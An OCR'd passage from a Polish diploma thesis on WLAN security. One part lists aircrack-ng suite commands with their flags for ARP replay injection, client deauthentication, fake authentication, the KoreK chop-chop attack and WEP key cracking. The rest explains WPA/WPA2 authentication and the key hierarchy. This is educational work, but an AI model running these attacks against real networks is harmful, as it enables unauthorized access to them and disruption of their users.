a) anulowanie uwierzytelnienia skojarzonej juz stacji bezprzewodowej;

b) falszywe uwierzytelnienie nicautoryzowanego klienta;

c) atak chop-chop KoreKa.
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Generowanie sztucznego ruchu w sieci BSS odbywa si¢ poprzez ciagle
wysyltanie pierwszego odebranego pakietu zadania ARP. Poniewaz dynamiczne wpisy
w tablicy ARP hostow maja ograniczony czas zycia, co pewien czas tablica ta musi
zosta¢ odswiezona. W takim przypadku do sieci na adres rozgloszeniowy zostaje
wystany omawiany pakiet zadania ARP. Sktadnia polecenia uruchamiajacego procedurg

generowania sztucznego ruchu za pomoca pakietow zadania ARP jest nastgpujaca:

aireplay-ng -3 -b mac AP —-h mac interfejsu interfejs

gdzie:

-3 —rodzaj wstrzykiwania (w tym wypadku pakiety zadania ARP);
-b — adres fizyczny MAC punktu dostgpowego;
—-h — adres fizyczny MAC interfejsu w trybie Monitor;

interfe]js —nazwa interfejsu w trybie Monitor.

Anulowanie uwierzytelnienia skojarzonej juz z AP stacji bezprzewodowej
polega na wstrzyknigciu do medium transmisyjnego ramki DEAUTHENTICATION o
okreslonych parametrach. Atak ten ma dwie zasadnicze funkcje. Pierwsza z nich jest
ujawnienie tzw. ukrytego identyfikatora sieci bezprzewodowej SSID. Ukrywanie SSID
polega na wylaczeniu broadcastowego wysytania informacji o nim w ramkach
BEACON. Aby klient tego rodzaju sieci mogl uwierzytelni¢ 1 skojarzy¢ si¢ z siecia,
musi zna¢ identyfikator SSID, ktory przesylany jest jawnym tekstem w ramce
ASSOCIATION REQUEST do punktu dostgpowego. Odczytanie zawartosci tej ramki
umozliwia ujawnienie ukrytego identyfikatora SSID. Druga funkcja anulowania
uwierzytelnienia jest przyspieszenie procedur, ktore zachodza w zdefiniowanych
odstgpach czasowych w sieci. Mowa tutaj o wysltaniu pierwszego pakietu zadania ARP,
przechwyceniu zaszyfrowanego tekstu wezwania przy uwierzytelnianiu z kluczem
wspéldzielonym oraz przechwyceniu czteroetapowej negocjacji w przypadku
WPA/WPA2 (oméwione w dalszej cze$ci niniejszej pracy dyplomowej). Sktadnia

polecenia uruchamiajacego anulowanie uwierzytelnienia jest nastgpujaca:

aireplay-ng -0 n —-a mac AP —-c mac klienta interfejs
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gdzie:

-0 —rodzaj wstrzykiwania (w tym wypadku anulowanie uwierzytelnienia);
n — ilo$¢ wystanych ramek DEAUTHENTICATION (0 — ciagle)

-a — adres fizyczny MAC punktu dostgpowego;

-c — adres fizyczny MAC uwierzytelnionej 1 skojarzone;j stacji;

interfe]js —nazwa interfejsu w trybie Monitor.

Falszywe uwierzytelnienie (ang. fake authentication) nieautoryzowanego klienta
ma na celu umozliwienie wstrzykiwania pakietow do sieci za pomoca powyzszych
procedur. Polega ono na wystaniu ramki AUTHENTICATION REQUEST a nastepnie
ASSOCIATION REQUEST. W przypadku sieci z uwierzytelnianiem otwartym,
procedura uwierzytelniania oraz skojarzenia z punktem dostgpowym przebiega bez
koniecznosci przeprowadzania dodatkowych procedur. W przypadku sieci z
uwierzytelnianiem z kluczem wspdéldzielonym, konieczne jest najpierw przechwycenie
zaszyfrowanego tekstu wezwania za pomoca airodump-ng wystanego od klienta, ktory
wlasnie zakonczyl sukcesem proces uwierzytelniania i skojarzenia. Nastgpnie nalezy
wysta¢ zaszyfrowany pakiet, zawierajacy tekst wezwania, ze zmienionym zrédtowym
adresem fizycznym MAC. W przypadku punktow dostgpowych, ktore dynamicznie
zmieniaja kazdy tekst wezwania, operacja taka jest niemozliwa do przeprowadzenia z
uwagi na inny szyfrogram tekstu wezwania w przypadku kazdego zadania
uwierzytelnienia. Sktadnia procedury uruchamiajacej falszywe uwierzytelnianie jest

nastg¢pujaca:

aireplay-ng -1 n -e SSID -a mac AP -h mac hosta -y

tekst wezwania interfejs

gdzie:

-1 —rodzaj wstrzykiwania (w tym wypadku falszywe uwierzytelnianie);
n — odstep czasowy pomiedzy ponownymi probami uwierzytelnienia [sek];

—a — adres fizyczny MAC punktu dostgpowego;
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—-h — adres fizyczny MAC interfejsu w trybie Monitor;
-y — zaszyfrowany tekst wezwania, przechwycony przez airodump-ng —
parametr uzywany w przypadku uwierzytelniania z kluczem wspoétdzielonym;

interfejs —nazwa interfejsu w trybie Monitor.

Metoda chop-chop KoreKa zostata omdéwiona w punkcie 5.4. Polega ona na
deszyfrowaniu dowolnych zaszyfrowanych pakietow w sieci bezprzewodowe] bez
znajomosci klucza WEP. Niektore punkty dostgpowe sa odporne na t¢ metode. Niektore
poczatkowo wydaja si¢ podatne na nia, jednak odrzucaja pakiety danych krotsze niz 60
bajtow. Aireplay-ng w momencie odrzucenia przez AP pakietu krétszego niz 42 bajty,
probuje ujawniac reszte zaszyfrowanego tekstu metoda KoreKa. Do przeprowadzenia
ataku chop-chop potrzebny jest przynajmniej jeden pakiet zaszyfrowany algorytmem

WEP oraz nastegpujaca sktadnia dla aireplay-ng:

alreplay-ng -4 -h mac _klienta -b mac AP interfejs

gdzie:

-4 - rodzaj ataku (w tym wypadku metoda KoreKa);

-h —adresy fizyczny MAC skojarzonego z siecig klienta lub karty
bezprzewodowej w trybie Monitor pod warunkiem jej skojarzenia z siecia;
-b — adres fizyczny MAC punktu dostgpowego;

interfe’js —nazwa interfejsu w trybie Monitor.

5.5.4. Aplikacja aircrack-ng

Aircrack-ng jest aplikacja implementujaca w sobie wszystkie omdwione w
punkcie 5.4 metody znajdowania klucza WEP. Dodatkowo umozliwia ona
przeprowadzenie atakéw z uzyciem pliku slownika (atakow stownikowych) oraz
sitowych (ang. brute-force) na ostatnich dwoch bajtach klucza. Pierwsze polegaja na
sprawdzaniu kolejnych stow z listy (stownika) w celu znalezienia pasujacego stowa.

Ataki sitowe analizuja wszystkie mozliwe kombinacje bitow w bajtach klucza przez co
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sa dilugotrwate i nieefektywne, dlatego tez domys$lnie zaimplementowano je tylko w
przypadku dwoch ostatnich bajtow klucza.
Sktadnia aplikacji uruchamiajaca metode FMS zoptymalizowana przez KoreKa,

wymagajaca zebrania od 0.5 — 2 milionéw wektordéw inicjacyjnych jest nastepujaca:

aircrack-ng [ opcje ] prefiks pliku.ivs

gdzie:

prefiks pliku — prefiks okreslony w programie airodump-ng przy zapisie;

opcje — dodatkowy zestaw opcji przyspieszajacych analiz¢ bajtow klucza:

-c — przeszukiwanie tylko znakéw alfanumerycznych;

-h — przeszukiwanie tylko wsrod liczb;

-d <czes$¢é> - uwzglednienie znanej poczatkowej czgsci klucza;
-n <dtugosé> - okresdlenie dtugosci klucza (64 lub 128);

-f <ilosé> -ilosé bajtow podlegajacych atakowi brute-force.

Przeprowadzenie ataku w cato$ci opartego o metode brute-force nastgpuje w
przypadku podania opcji —y w powyzszej sktadni. Uruchomienie najnowszej metody

analizy bajtow klucza WEP o nazwie PTW nastepuje po zastosowaniu nastgpujacej
sktadni:
alircrack-ng -z prefiks pliku.cap
gdzie:
-z — parametr uruchamiajacy algorytm PTW;

prefiks pliku — prefiks pliku zawierajacy pelny zrzut danych (nie tylko
IV jak w przypadku FMS), okreslony w programie airodump-ng.
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Ataki stownikowe, ktorych zaleta jest duza szybko$¢ w pordwnaniu z atakami
FMS, przeprowadza si¢ na podstawie pliku tekstowego stownika, w ktérym w osobne;j
linii umieszczone sa poszczegdlne stowa w notacji heksadecymalnej lub ASCIL
Stowniki takie dostgpne sa w zasobach Internetu w wielu jezykach. Metoda stownikowa
w porownaniu jednak do metody PTW jest mniej skuteczna i wolniejsza. Uruchamia sig

ja poleceniem o nastgpujacej sktadni:

aircrack-ng -w siownik.txt -a 1 -n diugos¢é -e SSID

prefiks pliku.cap
gdzie:

-w — plik stownika o nazwie stownik. txt, w przypadku stow w formacie
heksadecymalnym nalezy parametr poda¢ w nastgpujacy sposob:
h:stownik.txt;

—a — parametr informujacy mechanizm stownikowi, ze badany jest WEP;

-n — dhugos¢ klucza szyfrujacego (64 lub 128);

-e — identyfikator sieci SSID;

prefiks pliku — prefiks pliku zawierajacego przynajmniej 4 rozne IV,

okreslony w programie airodump-ng.

6. Aspekty bezpieczenstwa wg WPA/WPA2

Wady mechanizmoéw zapewniajacych bezpieczenstwo w standardzie IEEE
802.11 sa na tyle powazne, ze powinno si¢ odejs¢ catkowicie od ich stosowania. W
2004 roku powstal standard IEEE 802.111 (zwany réwniez WPA2), ktéry wprowadzit
szereg zmian w poréwnaniu do pierwotnej wersji standardu z 1997 roku. Powstat on na
bazie specyfikacji WPA (ang. WiFi Protected Access), okre$lajacej mechanizmy
charakteryzujace bezpieczne sieci bezprzewodowe. Najistotniejsza roéznica pomigdzy
WPA2 a WPA jest wprowadzenie zupelnie innego algorytmu szyfrowania, opartego o
zupetnie inny, wydajniejszy oraz bezpieczniejszy algorytm niz RC4. Specyfikacja WPA
powstala w celu stworzenia przejsciowych metod bezpieczenstwa dla sieci WLAN,
ktore charakteryzuja si¢ wsteczna kompatybilnoscia sprz¢towa z urzadzeniami

zgodnymi z 802.11. Rozwiazania wykorzystane w WPA2 wymagaja juz innego sprzetu,
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poniewaz algorytmy wykorzystane do szyfrowania sa o wiele bardziej skomplikowane
niz RC4 co w konsekwencji podnosi zapotrzebowanie na wigksza moc obliczeniowa
procesorow. Na rzeczywiste bezpieczenstwo sieci bezprzewodowych sktada si¢ kilka

czynnikéw. Wedtug specyfikacji WPA, jego podstawa sa nastepujace aspekty [6]:

a) szkielet uwierzytelniania;

b) algorytm uwierzytelniania;

¢) mechanizm zarzadzania 1 dystrybucja kluczy szyfrujacych;
d) pozbawiony wad algorytm szyfrowania transmisji;

e) algorytm zapewniajacy integralnosci przesytanych informacji.

Jak wida¢, w poréwnaniu do 802.11, aspekt uwierzytelniania rozdzielony zostat
na dwie wspolpracujace ze soba czgs$ci. Bezposrednio z uwierzytelnianiem oraz
zapewnieniem poufno$ci transmisji danych zwiazany jest mechanizm zarzadzania i
dystrybucji kluczy szyfrujacych. Klucze te generowane sa w chwili uwierzytelnienia
klienta w sieci 1 staja si¢ parametrami wejSciowymi dla algorytmoéw szyfrowania.
Dodatkowo maja one ograniczony czas zycia, wigc musza co okreSlony czas by¢
odnawiane. W dalszej czg$ci niniejszego rozdziatu szczegétowo omoéOwione zostang
wszystkie powyzsze aspekty z uwzglednieniem wprowadzenia najistotniejszych zmian

w porownaniu do 802.11.

6.1. Mechanizmy uwierzytelniania

Zgodnie z trescia specyfikacji WPA oraz standardu WPA2 mechanizm
uwierzytelniania w sieciach WLAN sktada si¢ z dwoch zasadniczych czgsci. Pierwsza z
nich jest szkielet uwierzytelniania. W poréwnaniu do standardu 802.11, przewiduje on
zcentralizowane uwierzytelnianie na bazie uzytkownikow, dynamicznie szyfrowane
klucze oraz zarzadzanie nimi i uwierzytelnianie wzajemne.

Uwierzytelnianie na bazie uzytkownikéw ma dos$¢ krytyczne znaczenie dla
bezpieczenstwa sieci. Polega ono na przydzieleniu kazdemu uzytkownikowi jego nazwy
oraz hasta lub certyfikatu cyfrowego. Uwierzytelnianie na bazie urzadzen, jakim sa
mechanizmy  wykorzystane w  poprzedniej wersji  standardu, umozliwia
nieautoryzowanym klientom uzywania autoryzowanych urzadzen poniewaz
identyfikacja przebiega w sposob otwarty lub z kluczem wspoldzielonym, ktéry

posiadaja rowniez inni. Ponadto kazde naruszenie bezpieczenstwa sieci (np. ujawnienie
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klucza wspoéldzielonego) zmusza administratora sieci do rgcznej rekonfiguracji
wszystkich urzadzen oraz klientow sieci WLAN. Zcentralizowane zarzadzanie na bazie
uzytkownikbw pozwala nadawanie 1 odbieranie uprawnien poszczegdlnym
uzytkownikom, niezaleznie od tego z jakich urzadzen korzystaja. Najwazniejsza zaleta
tego typu uwierzytelniania jest fakt, ze klucze szyfrujace sa charakterystyczne dla
danych klientow.

Uwierzytelnianie wzajemne to dwustronny typ uwierzytelniania. Oznacza to, ze
nie tylko sie¢ sprawdza tozsamos$¢ klienta ale rowniez klient sprawdza tozsamos$¢ sieci.
W przypadku uwierzytelniania otwartego, klient nie ma pewnosci czy laczy si¢ z
wilasciwym punktem dostepowym. Wystarczy, ze niepowotana osoba uruchomi inny
punkt dostgpowy, ktory pracowaé bgdzie na innym kanale ale o takim samym SSID.
Wtedy w zaleznosci od zmierzonego poziomu sygnalu od obu punktow dostgpowych
(pozadanego oraz fatszywego) klient uzyska potaczenie z jednym lub z drugim. W
momencie polaczenie z nieautoryzowana siecia, mechanizmy warstw wyzszych (np.
DHCP) sa w stanie sprawié¢, ze klient nie zauwazy nawet falszywego potaczenia.
Dlatego waznym jest, aby sprawdza¢ okresowo, czy uzywana podsie¢ adresowa nie

ulegta zmianie bez informacji administratora.

6.1.1. Szkielet uwierzytelniania

Jako szkielet uwierzytelniania w WPA/WPA?2 wybrano standard IEEE 802.1X.
Standard ten zapewnia wszystkim topologiom warstwy drugiej mozliwos¢
rozbudowanego uwierzytelniania, ktore zazwyczaj wystgpuje w warstwach wyzszych.
Baza szkieletu 802.1X jest szkielet uwierzytelniania protokotu PPP (ang. Poin-to-Point
Protocol) o nazwie EAP (ang. Extensible Authentication Protocol). No$nikiem dla
802.1X jest ramka AUTHENTICATION, w ktorej kapsutkowane sa komunikaty EAP
w celu mozliwosci ich wykorzystania w warstwie drugiej. Architektura 802.1X

obejmuje trzy nastgpujace podstawowe podmioty funkcjonalne [5]:

a) petent (ang. supplicant) — klient dotaczajacy do sieci,
b) podmiot uwierzytelniajacy (ang. authenticator) — weryfikator odpowiadajacy

za kontrole dostepu;
44



c) serwer uwierzytelniania i rozliczenia (ang. authentication/accounting server)
— serwer podejmujacy decyzje o autoryzacji a takze o rozliczaniu klienta, z

czasu w jakim byt podtaczony do sieci.

W sieciach bezprzewodowych WLAN podmiotem uwierzytelniajacym jest
punkt dostgpowy. W przypadku sieci bezprzewodowych, kazdy wirtualny logiczny port
sieci dzielony jest na dwa logiczne porty, ktore tworza obiekt dostgpu do portu PAE
(ang. Port Access Entity). Pierwszy z nich (PAE uwierzytelniania) jest stale otwarty i
filtruje catly ruch oprocz 802.1X. Drugi, PAE ustugi, otwierany jest dopiero w
momencie, kiedy klient (petent) przejdzie pomys$lnie caty mechanizm uwierzytelniania.
Czas otwarcia PAE ustug jest ograniczony i domys$lnie wynosi 3600 sekund (1
godzing). Konfiguracja urzadzen dostgpowych zazwyczaj umozliwia zmiang
omawianego parametru. Decyzja o otwarciu PAE uslug podejmowana jest przez serwer
uwierzytelniania na podstawie weryfikacji tozsamosci petenta. Zazwyczaj serwerem
uwierzytelniajacym jest RADIUS (ang. Remote Authentication Dial In User Service).
Nalezy rowniez zaznaczyC, ze EAP dopuszcza jedynie wymiang ograniczonej ilosci
komunikatéw (np. Request, Response, Success, Failure) oraz przenosi informacje o

dostgpnych w sieci algorytmach uwierzytelniania.

Rysunek 6.1 przedstawia zgodny ze standardem IEEE model architektury
802.1X. Uslugi, ktore w zamys$le maja zosta¢ udostgpnione po otwarciu PAE uslug sa
niezalezne od serwera uwierzytelniajacego. Rozwiazania praktyczne pokazuja jednak,
ze z uwagi na kwestie oszczg¢dnosciowe, serwer uwierzytelniania bywa ustuga
uruchomiona na serwerze udostepniajacym wszystkie pozostale ustugi (np. brama

internetowa).
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Rys. 6.1. Model architektury §02.1X

Dokumentacje WPA/WPA2 wprowadzaja do standardu 802.1X pewne
modyfikacje zwiazane z charakterem sieci bezprzewodowych, ktére maja na celu
zabezpieczenie przed kradzieza tozsamosci. Dodane zostalo  dodatkowe
uwierzytelnienie wiadomosci, ktére daja pewno$¢, ze zard6wno petent jak i podmiot
uwierzytelniajacy maja wlasciwie wyliczone tajne klucze szyfrujace oraz obaj wiaczyli
szyfrowanie przed uzyskaniem dostgpu do sieci.

Przebieg wymiany komunikatow w szkielecie uwierzytelniania zalezy od
konkretnie wybranych algorytméw uwierzytelniania ale zwykle sktada si¢ z kilku
podstawowych czg$ci. Po skojarzeniu petenta, weryfikator aktywuje port PAE ustug dla
niego oraz wymusza na nim stan braku autoryzacji. Dopuszcza jedynie ruch poprzez
port PAE uwierzytelniania. Klient moze wysta¢ komunikat EAP-START, jednak nie
jest to wymagane. Weryfikator nastgpnie wysyla do petenta komunikat EAP-
REQUEST-IDENTITY aby pozna¢ jego tozsamos$¢. Suplikant odpowiada pakietem
EAP-RESPONSE, ktory zawiera tozsamos¢ klienta. Format tego pakietu zalezy od
konkretnego algorytmu uwierzytelniania. Zaleznie od wyniku procedury
uwierzytelniania, ostatnim komunikatem jest RADIUS-ACCEPT lub RADIUS-
REJECT, przestany od serwera uwierzytelniajacego do punktu dostgpowego. Na
podstawie tego komunikatu, weryfikator podejmuje decyzje¢ o ewentualnym otwarciu
portu PAE ustlug dla danego petenta.

WPA/WPA2 przewiduje rowniez uwierzytelnianie oparte o klucz wspotdzielony
PSK (ang. Pre-Shared Key). Metoda zostala opracowana z mysla o matych sieciach,
gdzie nie ma konieczno$ci uruchamiania serwera uwierzytelniajacego. Jest ona podobna

do uwierzytelniania opisanego w poprzedniej wersji standardu, wykorzystujacego klucz
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WEP. Dodatkowo klucz PSK w WPA/WPA2 shuizy do wyznaczenia dalszych kluczy,

ktére sa danymi wejsciowymi do algorytmow szyfrowania i integralnosci danych.

6.1.2. Algorytm uwierzytelniania

W dokumentach WPA/WPA2 nie ma z goéry narzuconego algorytmu
uwierzytelniania. Znajduje si¢ tam jednak informacja, ze zar6wno klient jak 1 serwer
uwierzytelniania musza obstugiwa¢ protokot EAP. Zatem architektura ta jest otwarta
wigc pozwala na stosowanie jednego szkieletu uwierzytelniania w roéznych
srodowiskach, przy czym kazde z nich moze uzywac algorytmu uwierzytelniania innego

typu. W chwili obecnej najczesciej stosowane algorytmu uwierzytelniania to:

a) PEAP (ang. Protected Extensible Authentication Protocol);,
b) LEAP (ang. Lightweight Extensible Authentication Protocol).

Pierwszy z nich stanowi metodg¢ uwierzytelniania, ktora korzysta z szyfrowania
TLS (ang. Transport Layer Security) oparta o certyfikaty cyfrowe. Posiada on kilka
istotnych zalet takich jak generowanie dynamicznego materiatu na klucze metoda TLS,
szybkie ponowne taczenie dzigki zbuforowanym kluczom sesji, przekazywanym
migdzy punktami dost¢gpowymi oraz uwierzytelnianie serwera, ktore postuzy¢ moze do
ochrony przed rozmieszczeniem nieautoryzowanych punktow dostgpu. Proces
uwierzytelniania metoda PEAP sklada si¢ z uwierzytelnienia serwera 1 tworzenia
bezpiecznego, szyfrowanego kanalu TLS oraz wymiany komunikatow EAP 1
uwierzytelnienia uzytkownikow. Uwierzytelnienie serwera w stosunku do klienta
polega na udostgpnieniu mu informacji o zainstalowanym certyfikacie cyfrowym. Po tej
weryfikacji nastgpuje wygenerowanie klucza tajnego a nastgpnie kluczy sesji, ktore
nastgpnie wykorzystywane sa jako dane wejsciowe dla algorytmow szyfrowania.
Wymiana komunikatéw EAP jest kapsutkowana wewnatrz szyfrowanego kanatu TLS.

PEAP oferuje dwie opcje uwierzytelniania: EAP-TLS oraz EAP-MS-CHAP-v2
(ang. EAP-Microsoft Challenge Handshake Authentication Protocol Version 2).
Pierwsza z nich opiera si¢ o uwierzytelnianie serwera i uzytkownikow za pomoca
certyfikatow cyfrowych. Dodatkowo klienci moga uwierzytelni¢ si¢ przy uzyciu kart
inteligentnych. Druga, oparta o algorytm opracowany przez Microsoft, réwniez

wykorzystuje certyfikaty cyfrowe do uwierzytelniania serwerow. Klienci natomiast
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uwierzytelniani sa na podstawie poswiadczen czyli nazwy uzytkownika i hasta. Przy
wyborze jednej z powyzszych dwdch opcji nalezy znalez¢ kompromis pomigdzy
wymaganym poziomem bezpieczenstwa a czasochtonnoscia wdrozenia zabezpieczen.
EAP-TLS jest metoda oferujaca w tej chwili najwyzszy poziom zabezpieczeh przy
uwierzytelnianiu PEAP. Wymaga on jednak dostarczenia wszystkim klientom ich
wlasnych certyfikatow oraz przeszkolenia w zakresie ich instalacji oraz konfiguracji
oprogramowania do ich obslugi. W przypadku EAP-MS-CHAP-v2, uzytkownik
otrzymuj¢ swoja niepowtarzalna nazweg oraz hasto, ktore w prosty sposob umieszcza w
systemie operacyjnym.

Drugi z algorytméw uwierzytelniania (LEAP, zwany réwniez EAP-CISCO)
zostat opracowany przez firmg Cisco specjalnie z przeznaczeniem dla sieci
bezprzewodowych WLAN. Jest on oparty o zmodyfikowana metode MS-CHAP-v2 do
szyfrowania hasel, ktéra zostala opisana w [11] oraz o algorytm szyfrowania DES (ang.
Data Encryption Standard) opisany w [12]. Procedura wymiany komunikatow EAP w
algorytmie firmy Cisco polega na tym, ze najpierw klient zostaje skojarzony z
weryfikatorem 1 wysyta komunikat EAP-START. Punkt dostgpowy standardowo
blokuje port PAE ustug, pozwalajac jedynie na ruch 802.1X oraz wysyta klientowi
komunikat EAP-REQUEST-IDENTITY. Klient odpowiada komunikatem EAP-
RESPONSE zawierajacym nazwe uzytkownika, ktora wysylana jest do serwera
uwierzytelniania w pakiecie RADIUS-ACCESS-REQUEST. Serwer uwierzytelniania
generuje komunikat wezwania EAP-CISCO i wysyla go do klienta w pakiecie
RADIUS-ACCESS-RESPONSE za posrednictwem punktu dostgpowego, ktory
kapsutkuje go w ramce 802.1X. Nastgpnie w odwrotnej kolejnosci wysylana zostaje
odpowiedz na komunikat wezwania EAP-CISCO oraz kolejny komunikat wezwania
EAP-CISCO w celu weryfikacji tozsamosci serwera. Po weryfikacji zakonczonej
sukcesem, serwer uwierzytelniajacy generuje dynamiczny klucz szyfrowania oparty o
hasto uzytkownika oraz pewne informacje charakterystyczne dla danej sieci. Klient
generuje identyczny klucz szyfrowania poniewaz posiada doktadnie te same informacje
co serwer. Serwer uwierzytelniajacy wysyta do weryfikatora komunikat RADIUS-
ACCEPT aby nakaza¢ mu otwarcie portu PAE ustug dla klienta.

Na tre$¢ komunikatéw EAP-CISCO, wysylanych zaré6wno przez klienta jak 1
serwer uwierzytelniajacy, sktadaja si¢ rezultaty opisanych dalej krokéw. Wezwanie

(ang. challenge) EAP-CISCO zawiera losowo wybrane osiem bajtéw. Po odebraniu
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tekstu wezwania przez klienta/serwer, dokonywana na nim jest operacja szyfrowania,
ktéra polega na trzykrotnym szyfrowaniu algorytmem 3 DES z danymi wej$ciowymi,
na ktore sktada si¢ tzw. NT hash hasta dla danego uzytkownika. Omawiany NT hash
jest suma kontrolng MD4 hasta uzytkownika. 24-bajtowy wynik szyfrowania 3 DES
przesylany jest nastgpnie do elementu, ktory wykonuje identyczne operacje na danym
tek$cie wezwania oraz porownuje wyniki. Nazwa uzytkownika przesytana jest tekstem
jawnym w obie strony. Warto zauwazy¢, ze ten rodzaj uwierzytelniania opiera si¢ na
zatozeniu, ze klient zna nazweg uzytkownika 1 hasto autoryzowane na serwerze
(uwierzytelnianie serwera) oraz serwer wie, ze dany klient ma wlasciwie
skonfigurowane informacje o tozsamosci (uwierzytelnianie klienta). Aspekty te sktadaja

si¢ na uwierzytelnianie wzajemne, sugerowane przez dokumenty WPA/WPA2.

6.2. Hierarchia i dystrybucja kluczy

Poufnos¢ przesytanych informacji zalezy od tajnych kluczy szyfrujacych oraz od
zastosowanego algorytmu szyfrowania. Tajne klucze to ciagi bitdow o okreslonej
dtugosci, ktore stuza jako dane wejsciowe do algorytméw szyfrowania. Dlatego
niezwykle waznym aspektem jest odpowiednie zarzadzanie nimi. Kazdy klucz,
wykorzystywany w architekturze WPA/WPA2, ma ograniczony czas waznos$ci a ogdlne
bezpieczenstwo  zapewnia zbior kluczy o  okreslonych  przeznaczeniach,
zorganizowanych w pewna hierarchi¢. Klucz nadrzegdny MK (ang. Master Key)
tworzony jest na etapie uwierzytelniania przez algorytmy uwierzytelniania w momencie
weryfikacji tozsamosci zakonczonej sukcesem. Na podstawie klucza nadrz¢dnego MK,
generowane sa tymczasowe klucze za pomoca dwoch procedur negocjacyjnych (Rys.

6.2) [10]:

a) czteroetapowa negocjacja (ang. 4-Way Handshake) — dla ustalenia kluczy
tymczasowych: pojedynczego PTK (ang. Pairwise Transient Key) 1
grupowego GTK (ang. Group Transient Key);

b) negocjacja klucza grupowego dla odnowienia klucza GTK.
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Rys. 6.2. Wyprowadzenie MK i generowanie PTK oraz GTK

6.2.1. Klucze do transmisji pojedynczej

Proces generowania pojedynczego klucza gtéwnego PMK (ang. Pairwise Master
Key) zalezny jest od tego, czy w sieci obecny jest serwer uwierzytelniania czy
uwierzytelnianie dokonywane jest za pomoca klucza PSK. Jesli uzywany jest z gory
ustalony klucz, to PMK generowany jest na podstawie hasta PSK o dlugosci 8-63
znakow. W obecno$ci serwera uwierzytelniajacego, klucz PMK obliczany jest na
podstawie klucza MK. W obu przypadkach wynikiem obliczef jest 256-bitowy klucz
PMK. Klucz PMK nie jest jednak wykorzystywany do szyfrowania ani zapewnienia
integralnosci danych. Na jego podstawie wyliczany jest tymczasowy klucz PTK
podczas negocjacji czteroetapowej. Dhugos¢ PTK zalezy od zastosowanego algorytmu
szyfrowania i wynosi 512 bitow dla TKIP lub 384 bity dla CCMP.

Klucz tymczasowy PTK sktada si¢ z kilku kluczy tymczasowych, ktoére maja
okreslone przeznaczenie w hierarchii kluczy pojedynczych przedstawionej na rysunku

6.3. Naleza do nich:

a) KCK (ang. Key Confirmation Key) o dlugosci 128 bitow — klucz do
generowania kodu uwierzytelniajacego wiadomosci, uzywanego w ramach
negocjacji czteroetapowej i negocjacji klucza grupowego;

b) KEK (ang. Key Encryption Key) od dtugosci 128 bitow — klucz do
zapewnienia poufnosci danych w czasie negocjacji czteroetapowej oraz

negocjacji klucza grupowego;
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c) TEK (ang. Temporary Encryption Key) o dtugosci 128 bitow — klucz do
szyfrowania danych w algorytmach TKIP oraz CCMP;

d) TMK (ang. Temporary MIC Key) o dlugosci 64 bitow — klucz do
uwierzytelniania danych, uzywany wytacznie przez algorytm MIC (algorytm
Michael — integralno$§¢ danych) z TKIP; istnieja dwa takie klucze — po

jednym dla obu stron transmisji.
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PSK MK

/

PMK
256 bitow
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PTK
512 bitéw (TKIP)
384 bity (CCMP)
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KCK
128 bitow

KEK
128 bitow

TEK
128 bitow

TMK1
64 bity

TMK2
64 bity

TMK1, TMK2 — w przypadku TKIP

Rys. 6.3. Hierarchia kluczy pojedynczych

W przypadku kluczy pojedynczych, proces negocjacji czteroetapowej, ktora jest
inicjowana przez punkt dostgpowy ma na celu potwierdzenie znajomosci klucza PMK
przez klienta, wygenerowanie nowego klucza PTK oraz instalacj¢ kluczy stuzacych do
szyfrowania 1 zapewnienia integralnosci. Podczas 4-Way Handshake klucz PTK
wyliczany jest na podstawie: pewnego stalego ciagu znakow, klucza PMK, adresow
fizycznych MAC klienta 1 punktu dostgpowego oraz dwoch losowych wartosci ANonce
oraz SNonce, generowanych odpowiednio przez weryfikatora oraz petenta. Proces
negocjacji czteroetapowej inicjowany jest przez punkt dostgpowy za pomoca generacji
losowej wartosci ANonce oraz wystania jej jawnym tekstem do klienta. Kolejno
nastepuje generacja wartosci SNonce, wyliczenie klucza PTK i kodu MIC przez petenta
oraz wystanie ich do podmiotu uwierzytelniajacego. Punkt dostgpowy pobiera z

otrzymanej wiadomosci warto$¢ SNonce a nastgpnie oblicza klucz PTK 1 sprawdza
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poprawnos¢ kodu MIC, odpowiedzialnego za integralno$¢ danych. Poprawna warto$¢

MIC oznacza, ze petent zna klucz PMK oraz poprawnie wyliczyt klucz PTK.

6.2.2. Klucze do transmisji grupowej

Cho¢ w sieciach WLAN jest to rzadko praktykowane, umozliwiaja one rowniez
transmisje grupowe (ang. Multicast). Do szyfrowania takich transmisji wykorzystuje si¢
osobne klucze w celu poprawienia wydajnosci sieci. Poufno$¢ transmisji zapewnia
klucz GTK (ang. Group Transient Key), ktory jest obliczany na podstawie 256-bitowe;j
losowej wartosci GMK (ang. Group Master Key), statego ciagu znakow, adresu
fizycznego MAC punktu dostepowego oraz wartosci losowej GNonce. Dhugos¢ klucza
GTK zalezy od rodzaju mechanizmu szyfrowania i wynosi 256 bitoéw dla TKIP oraz
128 bitow dla CCMP. Podobnie jak PTK, na klucz GTK sktadaja si¢ inne klucze

tymczasowe, ktorych hierarchig¢ przedstawiono na rysunku 6.4:

a) GEK (ang. Group Encryption Key) o dilugosci 128 bitow — stuzy do
szyfrowania transmisji oraz uwierzytelniania;

b) GIK (ang. Group Integrity Key) o dlugosci 128 bitow — klucz do
uwierzytelniania danych algorytmem MIC w przypadku TKIP.

GMK
256 bitow

—_

GTK
256 bitow (TKIP)
128 bity (CCMP)

+—‘—+

GEK GIK
128 bitow 128 bitow

GIK - w przypadku TKIP
Rys. 6.4. Hierarchia kluczy grupowych
Dwa pierwsze komunikaty, wysylane podczas negocjacji czteroetapowe;,
dotyczyty kluczy pojedynczych. Trzeci odnosi si¢ do kluczy grupowych. Jest on
wysylany do petenta i zawiera zaszyfrowany kluczem KEK klucz GTK, wyliczony
zgodnie z zasadami omoéwionymi wczesniej. Komunikat zawiera rowniez kod MIC. Po
odebraniu wiadomosci, petent na podstawie kodu MIC sprawdza réwniez czy punkt
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dostgpowy zna klucz PMK oraz wyliczyt poprawnie PTK. Ostatni komunikat negocjacji
czteroetapowej informuje, ze klient instaluje klucze pojedyncze i grupowe oraz bgdzie
uzywat ich do transmisji 1 jest wysylany do weryfikatora. Po jego odebraniu 1
weryfikacji MIC, punkt dostepowy réwniez instaluje wyliczone klucze a nastgpnie
przechodzi do szyfrowania transmisji.

Podczas negocjacji czteroetapowej (Rys. 6.5) klient oraz punkt dostgpowy
uzgadniaja, wyliczaja oraz instaluja klucze szyfrujace. Oprocz tego przeprowadzana jest
roOwniez negocjacja klucza grupowego. Jedynym jej celem jest anulowanie skojarzenia
klienta oraz odnowienie klucza GTK na jego zadanie. Podmiot uwierzytelniajacy,
podobnie jak w przypadku generacji GTK omdwionej wczesniej, wybiera losowa liczbe
GNonce oraz generuje klucz GTK, ktory po zaszyfrowaniu kluczem KEK zostaje
